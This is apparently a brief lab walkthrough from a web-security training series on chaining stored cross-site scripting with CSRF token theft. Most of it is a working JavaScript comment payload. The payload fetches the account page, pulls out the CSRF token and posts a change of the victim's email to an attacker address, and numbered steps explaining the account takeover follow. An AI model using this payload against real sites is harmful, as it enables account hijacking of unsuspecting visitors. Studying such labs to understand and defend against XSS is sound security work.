24_Lab24-Exploiting XSS to bypass CSRF defenses

In the comment section add this payload as the comment

Payload:

<script>
fetch('/my-account')
    .then(r => r.text())
    .then(html => {
        // Parse the page to extract CSRF token
        var parser = new DOMParser();
        var doc = parser.parseFromString(html, 'text/html');
        var csrf = doc.querySelector('input[name="csrf"]').value;
		
        // Now submit the email change with the stolen token
        fetch('/my-account/change-email', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded'
            },
            body: 'email=attacker@evil.com&csrf=' + csrf,
            credentials: 'include'
        });
    });
</script>

When an user visits this post, the JavaScript executes :

1. it calls the /my-account page
2. fetch the csrf token from inside the <form> element
3. then call /my-account/change-email Endpoint which updates the user’s email
4. in payload body, pass the attacker email.
5. this will update the victim’s email

---